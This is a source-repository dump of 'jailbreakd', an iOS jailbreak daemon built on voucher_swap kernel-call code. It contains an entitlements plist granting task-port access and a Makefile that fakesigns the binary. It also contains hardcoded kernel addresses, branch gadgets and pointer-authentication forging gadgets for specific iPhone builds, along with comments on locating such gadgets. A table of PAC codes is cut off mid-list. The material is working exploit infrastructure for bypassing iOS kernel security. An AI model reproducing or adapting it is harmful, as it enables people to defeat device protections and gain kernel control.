├── .DS_Store ├── Ent.plist ├── IOKitLib.h ├── Makefile ├── README.md ├── cs_blob.h ├── ipc_port.h ├── kc_parameters.c ├── kc_parameters.h ├── kern_utils.h ├── kern_utils.m ├── kernel_call.c ├── kernel_call.h ├── kernel_memory.c ├── kernel_memory.h ├── kernel_slide.c ├── kernel_slide.h ├── kexecute.h ├── kexecute.m ├── kmem.c ├── kmem.h ├── launch.h ├── log.c ├── log.h ├── mach_vm.h ├── main.m ├── offsetof.c ├── offsetof.h ├── offsets.c ├── offsets.h ├── osobject.c ├── osobject.h ├── pac.c ├── pac.h ├── parameters.c ├── parameters.h ├── patchfinder64.c ├── patchfinder64.h ├── platform.c ├── platform.h ├── platform_match.c ├── platform_match.h ├── sandbox.c ├── sandbox.h ├── user_client.c └── user_client.h /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xSpiral/jailbreakd/624fc6244222bc5521cfdd6fdc257b8bc736e1fa/.DS_Store -------------------------------------------------------------------------------- /Ent.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | platform-application 6 | 7 | get-task-allow 8 | 9 | com.apple.system-task-ports 10 | 11 | task_for_pid-allow 12 | 13 | com.apple.private.memorystatus 14 | 15 | com.apple.private.security.container-required 16 | 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /IOKitLib.h: -------------------------------------------------------------------------------- 1 | /* 2 | * IOKitLib.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__IOKITLIB_H_ 6 | #define VOUCHER_SWAP__IOKITLIB_H_ 7 | 8 | #include 9 | #include 10 | 11 | typedef mach_port_t io_object_t; 12 | typedef io_object_t io_connect_t; 13 | typedef io_object_t io_iterator_t; 14 | typedef io_object_t io_service_t; 15 | 16 | extern const mach_port_t kIOMasterPortDefault; 17 | 18 | kern_return_t 19 | IOObjectRelease( 20 | io_object_t object ); 21 | 22 | io_object_t 23 | IOIteratorNext( 24 | io_iterator_t iterator ); 25 | 26 | io_service_t 27 | IOServiceGetMatchingService( 28 | mach_port_t masterPort, 29 | CFDictionaryRef matching CF_RELEASES_ARGUMENT); 30 | 31 | kern_return_t 32 | IOServiceGetMatchingServices( 33 | mach_port_t masterPort, 34 | CFDictionaryRef matching CF_RELEASES_ARGUMENT, 35 | io_iterator_t * existing ); 36 | 37 | kern_return_t 38 | IOServiceOpen( 39 | io_service_t service, 40 | task_port_t owningTask, 41 | uint32_t type, 42 | io_connect_t * connect ); 43 | 44 | kern_return_t 45 | IOServiceClose( 46 | io_connect_t connect ); 47 | 48 | kern_return_t 49 | IOConnectCallMethod( 50 | mach_port_t connection, // In 51 | uint32_t selector, // In 52 | const uint64_t *input, // In 53 | uint32_t inputCnt, // In 54 | const void *inputStruct, // In 55 | size_t inputStructCnt, // In 56 | uint64_t *output, // Out 57 | uint32_t *outputCnt, // In/Out 58 | void *outputStruct, // Out 59 | size_t *outputStructCnt) // In/Out 60 | AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; 61 | 62 | kern_return_t 63 | IOConnectTrap6(io_connect_t connect, 64 | uint32_t index, 65 | uintptr_t p1, 66 | uintptr_t p2, 67 | uintptr_t p3, 68 | uintptr_t p4, 69 | uintptr_t p5, 70 | uintptr_t p6); 71 | 72 | CFMutableDictionaryRef 73 | IOServiceMatching( 74 | const char * name ) CF_RETURNS_RETAINED; 75 | 76 | #endif 77 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | TARGET = jailbreakd 2 | OUTDIR ?= ../../bootstrap/bins 3 | 4 | CC = xcrun -sdk iphoneos cc -arch arm64e -Iinclude 5 | #-Linclude -lrocketbootstrap -Iinclude AppSupport.tbd 6 | LDID = ldid2 7 | CFLAGS = -Wall -Wno-unused-variable -Wno-unused-function 8 | 9 | .PHONY: all clean 10 | 11 | all: $(OUTDIR)/$(TARGET) 12 | 13 | DEBUG ?= 1 14 | ifeq ($(DEBUG), 1) 15 | CFLAGS += -DJAILBREAKDDEBUG 16 | else 17 | CFLAGS += -O2 18 | endif 19 | 20 | $(OUTDIR): 21 | mkdir -p $(OUTDIR) 22 | 23 | $(OUTDIR)/$(TARGET): *.c *.m | $(OUTDIR) 24 | $(CC) -o $@ $^ -framework Foundation -framework IOKit $(CFLAGS) 25 | 26 | export LANG=C 27 | export LC_CTYPE=C 28 | export LC_ALL=C 29 | #sed -i "" 's/\/usr\/lib\/librocketbootstrap.dylib/\/var\/ulb\/librocketbootstrap.dylib/g' $@ 30 | 31 | $(LDID) -SEnt.plist $@ 32 | tar --disable-copyfile -cvf $(OUTDIR)/$(TARGET).tar -C $(OUTDIR) $(TARGET) 33 | rm $@ 34 | 35 | clean: 36 | rm -f $(OUTDIR)/$(TARGET) 37 | rm -f $(OUTDIR)/$(TARGET).tar 38 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # jailbreakd 2 | -------------------------------------------------------------------------------- /cs_blob.h: -------------------------------------------------------------------------------- 1 | //from: xnu osfmk/kern/cs_blobs.h 2 | 3 | typedef struct __attribute__((packed)) { 4 | uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */ 5 | uint32_t length; /* total length of CodeDirectory blob */ 6 | uint32_t version; /* compatibility version */ 7 | uint32_t flags; /* setup and mode flags */ 8 | uint32_t hashOffset; /* offset of hash slot element at index zero */ 9 | uint32_t identOffset; /* offset of identifier string */ 10 | uint32_t nSpecialSlots; /* number of special hash slots */ 11 | uint32_t nCodeSlots; /* number of ordinary (code) hash slots */ 12 | uint32_t codeLimit; /* limit to main image signature range */ 13 | uint8_t hashSize; /* size of each hash in bytes */ 14 | uint8_t hashType; /* type of hash (cdHashType* constants) */ 15 | uint8_t platform; /* platform identifier; zero if not platform binary */ 16 | uint8_t pageSize; /* log2(page size in bytes); 0 => infinite */ 17 | uint32_t spare2; /* unused (must be zero) */ 18 | 19 | char end_earliest[0]; 20 | 21 | /* Version 0x20100 */ 22 | uint32_t scatterOffset; /* offset of optional scatter vector */ 23 | char end_withScatter[0]; 24 | 25 | /* Version 0x20200 */ 26 | uint32_t teamOffset; /* offset of optional team identifier */ 27 | char end_withTeam[0]; 28 | 29 | /* Version 0x20300 */ 30 | uint32_t spare3; /* unused (must be zero) */ 31 | uint64_t codeLimit64; /* limit to main image signature range, 64 bits */ 32 | char end_withCodeLimit64[0]; 33 | 34 | /* Version 0x20400 */ 35 | uint64_t execSegBase; /* offset of executable segment */ 36 | uint64_t execSegLimit; /* limit of executable segment */ 37 | uint64_t execSegFlags; /* executable segment flags */ 38 | char end_withExecSeg[0]; 39 | } CodeDirectory; 40 | 41 | typedef struct __attribute__((packed)) { 42 | uint32_t type; /* type of entry */ 43 | uint32_t offset; /* offset of entry */ 44 | } CS_BlobIndex; 45 | 46 | typedef struct __attribute__((packed)) { 47 | uint32_t magic; /* magic number */ 48 | uint32_t length; /* total length of SuperBlob */ 49 | uint32_t count; /* number of index entries following */ 50 | CS_BlobIndex index[]; /* (count) entries */ 51 | /* followed by Blobs in no particular order as indicated by offsets in index */ 52 | } CS_SuperBlob; 53 | 54 | /* 55 | * Magic numbers used by Code Signing 56 | */ 57 | enum { 58 | CSMAGIC_REQUIREMENT = 0xfade0c00, /* single Requirement blob */ 59 | CSMAGIC_REQUIREMENTS = 0xfade0c01, /* Requirements vector (internal requirements) */ 60 | CSMAGIC_CODEDIRECTORY = 0xfade0c02, /* CodeDirectory blob */ 61 | CSMAGIC_EMBEDDED_SIGNATURE = 0xfade0cc0, /* embedded form of signature data */ 62 | CSMAGIC_EMBEDDED_SIGNATURE_OLD = 0xfade0b02, /* XXX */ 63 | CSMAGIC_EMBEDDED_ENTITLEMENTS = 0xfade7171, /* embedded entitlements */ 64 | CSMAGIC_DETACHED_SIGNATURE = 0xfade0cc1, /* multi-arch collection of embedded signatures */ 65 | CSMAGIC_BLOBWRAPPER = 0xfade0b01, /* CMS Signature, among other things */ 66 | 67 | CS_SUPPORTSSCATTER = 0x20100, 68 | CS_SUPPORTSTEAMID = 0x20200, 69 | CS_SUPPORTSCODELIMIT64 = 0x20300, 70 | CS_SUPPORTSEXECSEG = 0x20400, 71 | 72 | CSSLOT_CODEDIRECTORY = 0, /* slot index for CodeDirectory */ 73 | CSSLOT_INFOSLOT = 1, 74 | CSSLOT_REQUIREMENTS = 2, 75 | CSSLOT_RESOURCEDIR = 3, 76 | CSSLOT_APPLICATION = 4, 77 | CSSLOT_ENTITLEMENTS = 5, 78 | 79 | CSSLOT_ALTERNATE_CODEDIRECTORIES = 0x1000, /* first alternate CodeDirectory, if any */ 80 | CSSLOT_ALTERNATE_CODEDIRECTORY_MAX = 5, /* max number of alternate CD slots */ 81 | CSSLOT_ALTERNATE_CODEDIRECTORY_LIMIT = CSSLOT_ALTERNATE_CODEDIRECTORIES + CSSLOT_ALTERNATE_CODEDIRECTORY_MAX, /* one past the last */ 82 | 83 | CSSLOT_SIGNATURESLOT = 0x10000, /* CMS Signature */ 84 | 85 | CSTYPE_INDEX_REQUIREMENTS = 0x00000002, /* compat with amfi */ 86 | CSTYPE_INDEX_ENTITLEMENTS = 0x00000005, /* compat with amfi */ 87 | 88 | CS_HASHTYPE_SHA1 = 1, 89 | CS_HASHTYPE_SHA256 = 2, 90 | CS_HASHTYPE_SHA256_TRUNCATED = 3, 91 | CS_HASHTYPE_SHA384 = 4, 92 | 93 | CS_SHA1_LEN = 20, 94 | CS_SHA256_LEN = 32, 95 | CS_SHA256_TRUNCATED_LEN = 20, 96 | 97 | CS_CDHASH_LEN = 20, /* always - larger hashes are truncated */ 98 | CS_HASH_MAX_SIZE = 48, /* max size of the hash we'll support */ 99 | 100 | /* 101 | * Currently only to support Legacy VPN plugins, 102 | * but intended to replace all the various platform code, dev code etc. bits. 103 | */ 104 | CS_SIGNER_TYPE_UNKNOWN = 0, 105 | CS_SIGNER_TYPE_LEGACYVPN = 5, 106 | }; 107 | 108 | /* 109 | * Choose among different hash algorithms. 110 | * Higher is better, 0 => don't use at all. 111 | */ 112 | static const uint32_t hashPriorities[] = { 113 | CS_HASHTYPE_SHA1, 114 | CS_HASHTYPE_SHA256_TRUNCATED, 115 | CS_HASHTYPE_SHA256, 116 | CS_HASHTYPE_SHA384, 117 | }; 118 | 119 | typedef struct __SC_GenericBlob { 120 | uint32_t magic; /* magic number */ 121 | uint32_t length; /* total length of blob */ 122 | char data[]; 123 | } CS_GenericBlob; 124 | 125 | /* 126 | * C form of a CodeDirectory. 127 | */ 128 | typedef struct __CodeDirectory { 129 | uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */ 130 | uint32_t length; /* total length of CodeDirectory blob */ 131 | uint32_t version; /* compatibility version */ 132 | uint32_t flags; /* setup and mode flags */ 133 | uint32_t hashOffset; /* offset of hash slot element at index zero */ 134 | uint32_t identOffset; /* offset of identifier string */ 135 | uint32_t nSpecialSlots; /* number of special hash slots */ 136 | uint32_t nCodeSlots; /* number of ordinary (code) hash slots */ 137 | uint32_t codeLimit; /* limit to main image signature range */ 138 | uint8_t hashSize; /* size of each hash in bytes */ 139 | uint8_t hashType; /* type of hash (cdHashType* constants) */ 140 | uint8_t spare1; /* unused (must be zero) */ 141 | uint8_t pageSize; /* log2(page size in bytes); 0 => infinite */ 142 | uint32_t spare2; /* unused (must be zero) */ 143 | /* followed by dynamic content as located by offset fields above */ 144 | } CS_CodeDirectory; 145 | 146 | #define CS_OPS_ENTITLEMENTS_BLOB 7 /* get entitlements blob */ 147 | int csops(pid_t pid, unsigned int ops, void *useraddr, size_t usersize); 148 | 149 | struct cs_blob { 150 | struct cs_blob *csb_next; 151 | cpu_type_t csb_cpu_type; 152 | unsigned int csb_flags; 153 | off_t csb_base_offset; /* Offset of Mach-O binary in fat binary */ 154 | off_t csb_start_offset; /* Blob coverage area start, from csb_base_offset */ 155 | off_t csb_end_offset; /* Blob coverage area end, from csb_base_offset */ 156 | vm_size_t csb_mem_size; 157 | vm_offset_t csb_mem_offset; 158 | vm_address_t csb_mem_kaddr; 159 | unsigned char csb_cdhash[CS_CDHASH_LEN]; 160 | const struct cs_hash *csb_hashtype; 161 | vm_size_t csb_hash_pagesize; /* each hash entry represent this many bytes in the file */ 162 | vm_size_t csb_hash_pagemask; 163 | vm_size_t csb_hash_pageshift; 164 | vm_size_t csb_hash_firstlevel_pagesize; /* First hash this many bytes, then hash the hashes together */ 165 | CS_CodeDirectory *csb_cd; 166 | char *csb_teamid; 167 | CS_GenericBlob *csb_entitlements_blob; /* raw blob, subrange of csb_mem_kaddr */ 168 | void * csb_entitlements; /* The entitlements as an OSDictionary */ 169 | unsigned int csb_signer_type; 170 | 171 | /* The following two will be replaced by the csb_signer_type. */ 172 | unsigned int csb_platform_binary:1; 173 | unsigned int csb_platform_path:1; 174 | }; 175 | 176 | 177 | #define TF_PLATFORM 0x400 178 | 179 | #define CS_VALID 0x0000001 /* dynamically valid */ 180 | #define CS_ADHOC 0x0000002 /* ad hoc signed */ 181 | #define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */ 182 | #define CS_INSTALLER 0x0000008 /* has installer entitlement */ 183 | 184 | #define CS_HARD 0x0000100 /* don't load invalid pages */ 185 | #define CS_KILL 0x0000200 /* kill process if it becomes invalid */ 186 | #define CS_CHECK_EXPIRATION 0x0000400 /* force expiration checking */ 187 | #define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */ 188 | #define CS_ENFORCEMENT 0x0001000 /* require enforcement */ 189 | #define CS_REQUIRE_LV 0x0002000 /* require library validation */ 190 | #define CS_ENTITLEMENTS_VALIDATED 0x0004000 191 | 192 | #define CS_ALLOWED_MACHO 0x00ffffe 193 | 194 | #define CS_EXEC_SET_HARD 0x0100000 /* set CS_HARD on any exec'ed process */ 195 | #define CS_EXEC_SET_KILL 0x0200000 /* set CS_KILL on any exec'ed process */ 196 | #define CS_EXEC_SET_ENFORCEMENT 0x0400000 /* set CS_ENFORCEMENT on any exec'ed process */ 197 | #define CS_EXEC_SET_INSTALLER 0x0800000 /* set CS_INSTALLER on any exec'ed process */ 198 | 199 | #define CS_KILLED 0x1000000 /* was killed by kernel for invalidity */ 200 | #define CS_DYLD_PLATFORM 0x2000000 /* dyld used to load this is a platform binary */ 201 | #define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */ 202 | #define CS_PLATFORM_PATH 0x8000000 /* platform binary by the fact of path (osx only) */ 203 | 204 | #define CS_DEBUGGED 0x10000000 /* process is currently or has previously been debugged and allowed to run with invalid pages */ 205 | #define CS_SIGNED 0x20000000 /* process has a signature (may have gone invalid) */ 206 | #define CS_DEV_CODE 0x40000000 /* code is dev signed, cannot be loaded into prod signed code (will go away with rdar://problem/28322552) */ 207 | 208 | -------------------------------------------------------------------------------- /ipc_port.h: -------------------------------------------------------------------------------- 1 | /* 2 | * ipc_port.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__IPC_PORT_H_ 6 | #define VOUCHER_SWAP__IPC_PORT_H_ 7 | 8 | #include 9 | #include 10 | 11 | // ---- osfmk/kern/waitq.h ------------------------------------------------------------------------ 12 | 13 | #define _EVENT_MASK_BITS ((sizeof(uint32_t) * 8) - 7) 14 | 15 | #define WQT_QUEUE 0x2 16 | 17 | union waitq_flags { 18 | struct { 19 | uint32_t /* flags */ 20 | waitq_type:2, /* only public field */ 21 | waitq_fifo:1, /* fifo wakeup policy? */ 22 | waitq_prepost:1, /* waitq supports prepost? */ 23 | waitq_irq:1, /* waitq requires interrupts disabled */ 24 | waitq_isvalid:1, /* waitq structure is valid */ 25 | waitq_turnstile_or_port:1, /* waitq is embedded in a turnstile (if irq safe), or port (if not irq safe) */ 26 | waitq_eventmask:_EVENT_MASK_BITS; 27 | }; 28 | uint32_t flags; 29 | }; 30 | 31 | // ---- osfmk/kern/ipc_kobject.h ------------------------------------------------------------------ 32 | 33 | #define IKOT_NONE 0 34 | #define IKOT_TASK 2 35 | 36 | // ---- osfmk/ipc/ipc_object.h -------------------------------------------------------------------- 37 | 38 | #define IO_BITS_KOTYPE 0x00000fff /* used by the object */ 39 | #define IO_BITS_ACTIVE 0x80000000 /* is object alive? */ 40 | 41 | #define io_makebits(active, otype, kotype) \ 42 | (((active) ? IO_BITS_ACTIVE : 0) | ((otype) << 16) | (kotype)) 43 | 44 | #define IOT_PORT 0 45 | 46 | // ---- Custom definitions ------------------------------------------------------------------------ 47 | 48 | #define MACH_HEADER_SIZE_DELTA (2 * (sizeof(uint64_t) - sizeof(uint32_t))) 49 | 50 | // ------------------------------------------------------------------------------------------------ 51 | 52 | #endif 53 | -------------------------------------------------------------------------------- /kc_parameters.c: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_call/kc_parameters.c 3 | * Brandon Azad 4 | */ 5 | #define KERNEL_CALL_PARAMETERS_EXTERN 6 | #include "kc_parameters.h" 7 | 8 | #include "kernel_slide.h" 9 | #include "log.h" 10 | #include "platform.h" 11 | #include "platform_match.h" 12 | 13 | // ---- Initialization routines ------------------------------------------------------------------- 14 | 15 | // A struct describing an initialization. 16 | struct initialization { 17 | const char *devices; 18 | const char *builds; 19 | void (*init)(void); 20 | }; 21 | 22 | // Run initializations matching this platform. 23 | static size_t 24 | run_initializations(struct initialization *inits, size_t count) { 25 | size_t match_count = 0; 26 | for (size_t i = 0; i < count; i++) { 27 | struct initialization *init = &inits[i]; 28 | if (platform_matches(init->devices, init->builds)) { 29 | init->init(); 30 | match_count++; 31 | } 32 | } 33 | return match_count; 34 | } 35 | 36 | // A helper macro to get the number of elements in a static array. 37 | #define ARRAY_COUNT(x) (sizeof(x) / sizeof((x)[0])) 38 | 39 | // ---- Offset initialization --------------------------------------------------------------------- 40 | 41 | static void 42 | offsets__iphone11_8__16C50() { 43 | OFFSET(IOAudio2DeviceUserClient, traps) = 0x118; 44 | 45 | SIZE(IOExternalTrap) = 0x18; 46 | OFFSET(IOExternalTrap, object) = 0; 47 | OFFSET(IOExternalTrap, function) = 8; 48 | OFFSET(IOExternalTrap, offset) = 16; 49 | 50 | OFFSET(IORegistryEntry, reserved) = 16; 51 | OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID) = 8; 52 | 53 | VTABLE_INDEX(IOUserClient, getExternalTrapForIndex) = 0x5B8 / 8; 54 | VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex) = 0x5C0 / 8; 55 | } 56 | 57 | // A list of offset initializations by platform. 58 | static struct initialization offsets[] = { 59 | { "*", "*", offsets__iphone11_8__16C50 }, 60 | }; 61 | 62 | // ---- Address initialization -------------------------------------------------------------------- 63 | 64 | #define SLIDE(address) (address == 0 ? 0 : address + kernel_slide) 65 | 66 | static void 67 | addresses__iphone11_8__16C50() { 68 | ADDRESS(paciza_pointer__l2tp_domain_module_start) = SLIDE(0xfffffff008f3ce30); 69 | ADDRESS(paciza_pointer__l2tp_domain_module_stop) = SLIDE(0xfffffff008f3ce38); 70 | ADDRESS(l2tp_domain_inited) = SLIDE(0xfffffff0090b72a0); 71 | ADDRESS(sysctl__net_ppp_l2tp) = SLIDE(0xfffffff008f3cd18); 72 | ADDRESS(sysctl_unregister_oid) = SLIDE(0xfffffff007ebd1f0); 73 | ADDRESS(mov_x0_x4__br_x5) = SLIDE(0xfffffff0087f7cd8); 74 | ADDRESS(mov_x9_x0__br_x1) = SLIDE(0xfffffff00882912c); 75 | ADDRESS(mov_x10_x3__br_x6) = SLIDE(0xfffffff0087e82dc); 76 | ADDRESS(kernel_forge_pacia_gadget) = SLIDE(0xfffffff007b66d38); 77 | ADDRESS(kernel_forge_pacda_gadget) = SLIDE(0xfffffff007b66d60); 78 | ADDRESS(IOUserClient__vtable) = SLIDE(0xfffffff0077b4e28); 79 | ADDRESS(IORegistryEntry__getRegistryEntryID) = SLIDE(0xfffffff0080158f0); 80 | 81 | SIZE(kernel_forge_pacxa_gadget_buffer) = 0x110; 82 | OFFSET(kernel_forge_pacxa_gadget_buffer, first_access) = 0xe8; 83 | OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result) = 0xf0; 84 | OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result) = 0xe8; 85 | } 86 | 87 | static void 88 | addresses__iphone11_2__16C50() { 89 | ADDRESS(paciza_pointer__l2tp_domain_module_start) = SLIDE(0xfffffff008fd8be8); 90 | ADDRESS(paciza_pointer__l2tp_domain_module_stop) = SLIDE(0xfffffff008fd8bf0); 91 | ADDRESS(l2tp_domain_inited) = SLIDE(0xfffffff009154688); 92 | ADDRESS(sysctl__net_ppp_l2tp) = SLIDE(0xfffffff008fd8ad0); 93 | ADDRESS(sysctl_unregister_oid) = SLIDE(0xfffffff007eed1f0); 94 | ADDRESS(mov_x0_x4__br_x5) = SLIDE(0xfffffff00885b230); 95 | ADDRESS(mov_x9_x0__br_x1) = SLIDE(0xfffffff00888c684); 96 | ADDRESS(mov_x10_x3__br_x6) = SLIDE(0xfffffff00884b834); 97 | ADDRESS(kernel_forge_pacia_gadget) = SLIDE(0xfffffff007b96d38); 98 | ADDRESS(kernel_forge_pacda_gadget) = SLIDE(0xfffffff007b96d60); 99 | SIZE(kernel_forge_pacxa_gadget_buffer) = 0x110; 100 | OFFSET(kernel_forge_pacxa_gadget_buffer, first_access) = 0xe8; 101 | OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result) = 0xf0; 102 | OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result) = 0xe8; 103 | ADDRESS(IOUserClient__vtable) = SLIDE(0xfffffff0077d4e28); 104 | ADDRESS(IORegistryEntry__getRegistryEntryID) = SLIDE(0xfffffff0080458f0); 105 | } 106 | 107 | static void 108 | addresses__iphone10_1__16B92() { 109 | ADDRESS(IOUserClient__vtable) = SLIDE(0xfffffff0070cc668); 110 | ADDRESS(IORegistryEntry__getRegistryEntryID) = SLIDE(0xfffffff007594f04); 111 | } 112 | 113 | static void 114 | addresses__iphone10_1__16C101() { 115 | ADDRESS(IOUserClient__vtable) = SLIDE(0xfffffff0070cc648); 116 | ADDRESS(IORegistryEntry__getRegistryEntryID) = SLIDE(0xfffffff00759424c); 117 | } 118 | 119 | static void 120 | addresses__iphone11_6__16A405() { 121 | // string com.apple.driver.AppleSynopsysOTGDevice 122 | ADDRESS(paciza_pointer__l2tp_domain_module_start) = SLIDE(0xfffffff008fe4c80); 123 | ADDRESS(paciza_pointer__l2tp_domain_module_stop) = SLIDE(0xfffffff008fe4c88); 124 | 125 | // Go to *(module start) 126 | // look for _IOLog("L2TP domain init : can't add proto to l2tp domain, err : %d\n"); 127 | // call before that does bzero on l2tp_domain_inited + 8 128 | ADDRESS(l2tp_domain_inited) = SLIDE(0xfffffff0091607e8); 129 | 130 | // sysctl_unregister_oid(sysctl__net_ppp_l2tp) is called in the end of *(module start/stop) 131 | // Right after 132 | // _IOLog("L2TP domain terminate : PF_PPP domain does not exist...\n"); 133 | ADDRESS(sysctl__net_ppp_l2tp) = SLIDE(0xfffffff008fe4b68); 134 | ADDRESS(sysctl_unregister_oid) = SLIDE(0xfffffff007f098a0); 135 | // Either search for exact match in hex editor 136 | // Or dump whole fairplayiokit and look for gadgets in it 137 | ADDRESS(mov_x0_x4__br_x5) = SLIDE(0xfffffff00886c278); 138 | ADDRESS(mov_x9_x0__br_x1) = SLIDE(0xfffffff00889d6cc); 139 | ADDRESS(mov_x10_x3__br_x6) = SLIDE(0xfffffff00885c87c); 140 | ADDRESS(kernel_forge_pacia_gadget) = SLIDE(0xfffffff007bb2c58); 141 | ADDRESS(kernel_forge_pacda_gadget) = SLIDE(0xfffffff007bb2c80); 142 | 143 | // Start disassembling whole kernel 144 | // look for __ZN11OSMetaClassC2EPKcPKS_j(ARG-1,"IOUserClient",...); 145 | // there would be two occurencies 146 | // between them vtable would be referenced twice 147 | // in two identical functions following each other 148 | ADDRESS(IOUserClient__vtable) = SLIDE(0xfffffff0077f0e48); 149 | 150 | // Look for __ZNK15IORegistryEntry16copyPropertyKeysEv in 151 | // jtool2 ((beta 1, TLV) compiled on Jan 31 2019 14:42:24) 152 | // companion file -- it's two lines below 153 | // verify that second destructor calls zfree 154 | ADDRESS(IORegistryEntry__getRegistryEntryID) = SLIDE(0xfffffff008061b90); 155 | 156 | SIZE(kernel_forge_pacxa_gadget_buffer) = 0x110; 157 | OFFSET(kernel_forge_pacxa_gadget_buffer, first_access) = 0xe8; 158 | OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result) = 0xf0; 159 | OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result) = 0xe8; 160 | } 161 | 162 | // A list of address initializations by platform. 163 | static struct initialization addresses[] = { 164 | { "iPhone11,8", "16C50-16C104", addresses__iphone11_8__16C50 }, 165 | { "iPhone11,6", "16C50-16C104", addresses__iphone11_2__16C50 }, 166 | { "iPhone10,1", "16B92", addresses__iphone10_1__16B92 }, 167 | { "iPhone10,1", "16C101", addresses__iphone10_1__16C101 }, 168 | { "iPhone11,6", "16A405", addresses__iphone11_6__16A405 }, 169 | }; 170 | 171 | // ---- PAC initialization ------------------------------------------------------------------------ 172 | 173 | //#if __arm64e__ 174 | 175 | static void 176 | pac__iphone11_8__16C50() { 177 | INIT_VTABLE_PAC_CODES(IOAudio2DeviceUserClient, 178 | 0x3771, 0x56b7, 0xbaa2, 0x3607, 0x2e4a, 0x3a87, 0x89a9, 0xfffc, 179 | 0xfc74, 0x5635, 0xbe60, 0x32e5, 0x4a6a, 0xedc5, 0x5c68, 0x6a10, 180 | 0x7a2a, 0xaf75, 0x137e, 0x0655, 0x43aa, 0x12e9, 0x4578, 0x4275, 181 | 0xff53, 0x1814, 0x122e, 0x13f6, 0x1d35, 0xacb1, 0x7eb0, 0x1262, 182 | 0x82eb, 0x164e, 0x37a5, 0xb659, 0x6c51, 0xa20f, 0xb3b6, 0x6bcb, 183 | 0x5a20, 0x5062, 0x00d7, 0x7c85, 0x8a26, 0x3539, 0x688b, 0x1e60, 184 | 0x1955, 0x0689, 0xc256, 0xa383, 0xf021, 0x1f0a, 0xb4bb, 0x8ffc, 185 | 0xb5b9, 0x8764, 0x5d96, 0x80d9, 0x0c9c, 0x5d0a, 0xcbcc, 0x617d, 186 | 0x848a, 0x2312, 0x3540, 0xc257, 0x3025, 0x9fc2, 0x5038, 0xc666, 187 | 0x6cc3, 0x550c, 0xa19a, 0xa51b, 0x4577, 0x573c, 0x1a4e, 0x6c3d, 188 | 0xb049, 0xc4b2, 0xc90d, 0x7d59, 0x4897, 0x3c68, 0xb085, 0x4529, 189 | 0x639f, 0xccfb, 0x55eb, 0xe933, 0xaec3, 0x5ec5, 0x5219, 0xc6b2, 190 | 0x8a43, 0x4a20, 0xd9f2, 0x981a, 0xa27f, 0xc4f9, 0x6b87, 0x60a1, 191 | 0x7e78, 0x36aa, 0x86ef, 0x9be9, 0x7318, 0x93b7, 0x638e, 0x61a6, 192 | 0x9175, 0x136b, 0xdb58, 0x4a31, 0x0988, 0x5393, 0xabe0, 0x0ad9, 193 | 0x6c99, 0xd52d, 0xe213, 0x308f, 0xd78d, 0x3a1d, 0xa390, 0x240b, 194 | 0x1b89, 0x8d3c, 0x2652, 0x7f14, 0x0759, 0x63c4, 0x800f, 0x9cc2, 195 | 0x02ac, 0x785f, 0xcc6b, 0x82cd, 0x808e, 0x37ce, 0xa4c7, 0xe8de, 196 | 0xa343, 0x4bc0, 0xf8a6, 0xac7f, 0x7974, 0xea1b, 0x4b35, 0x9eb4, 197 | 0x595a, 0x5b2b, 0x699e, 0x2b52, 0xf40e, 0x0ddb, 0x0f88, 0x8700, 198 | 0x36c3, 0x058e, 0xf16e, 0x3a71, 0xda1e, 0x10b6, 0x8654, 0xb352, 199 | 0xa03f, 0xbde5, 0x5cf5, 0x18b8, 0xea14, 0x3e51, 0xbcef, 0xfd2b, 200 | 0xc1ba, 0x02d4, 0xee4f, 0x3565, 0xb50c, 0xbdaa, 0xbc5e, 0xea23, 201 | 0x2bcb); 202 | 203 | INIT_VTABLE_PAC_CODES(IODTNVRAM, 204 | 0x3771, 0x56b7, 0xbaa2, 0x3607, 0x2e4a, 0x3a87, 0x89a9, 0xfffc, 205 | 0xfc74, 0x5635, 0xbe60, 0x32e5, 0x4a6a, 0xedc5, 0x5c68, 0x6a10, 206 | 0x7a2a, 0xaf75, 0x137e, 0x0655, 0x43aa, 0x12e9, 0x4578, 0x4275, 207 | 0xff53, 0x1814, 0x122e, 0x13f6, 0x1d35, 0xacb1, 0x7eb0, 0x1262, 208 | 0x82eb, 0x164e, 0x37a5, 0xb659, 0x6c51, 0xa20f, 0xb3b6, 0x6bcb, 209 | 0x5a20, 0x5062, 0x00d7, 0x7c85, 0x8a26, 0x3539, 0x688b, 0x1e60, 210 | 0x1955, 0x0689, 0xc256, 0xa383, 0xf021, 0x1f0a, 0xb4bb, 0x8ffc, 211 | 0xb5b9, 0x8764, 0x5d96, 0x80d9, 0x0c9c, 0x5d0a, 0xcbcc, 0x617d, 212 | 0x848a, 0x2312, 0x3540, 0xc257, 0x3025, 0x9fc2, 0x5038, 0xc666, 213 | 0x6cc3, 0x550c, 0xa19a, 0xa51b, 0x4577, 0x573c, 0x1a4e, 0x6c3d, 214 | 0xb049, 0xc4b2, 0xc90d, 0x7d59, 0x4897, 0x3c68, 0xb085, 0x4529, 215 | 0x639f, 0xccfb, 0x55eb, 0xe933, 0xaec3, 0x5ec5, 0x5219, 0xc6b2, 216 | 0x8a43, 0x4a20, 0xd9f2, 0x981a, 0xa27f, 0xc4f9, 0x6b87, 0x60a1, 217 | 0x7e78, 0x36aa, 0x86ef, 0x9be9, 0x7318, 0x93b7, 0x638e, 0x61a6, 218 | 0x9175, 0x136b, 0xdb58, 0x4a31, 0x0988, 0x5393, 0xabe0, 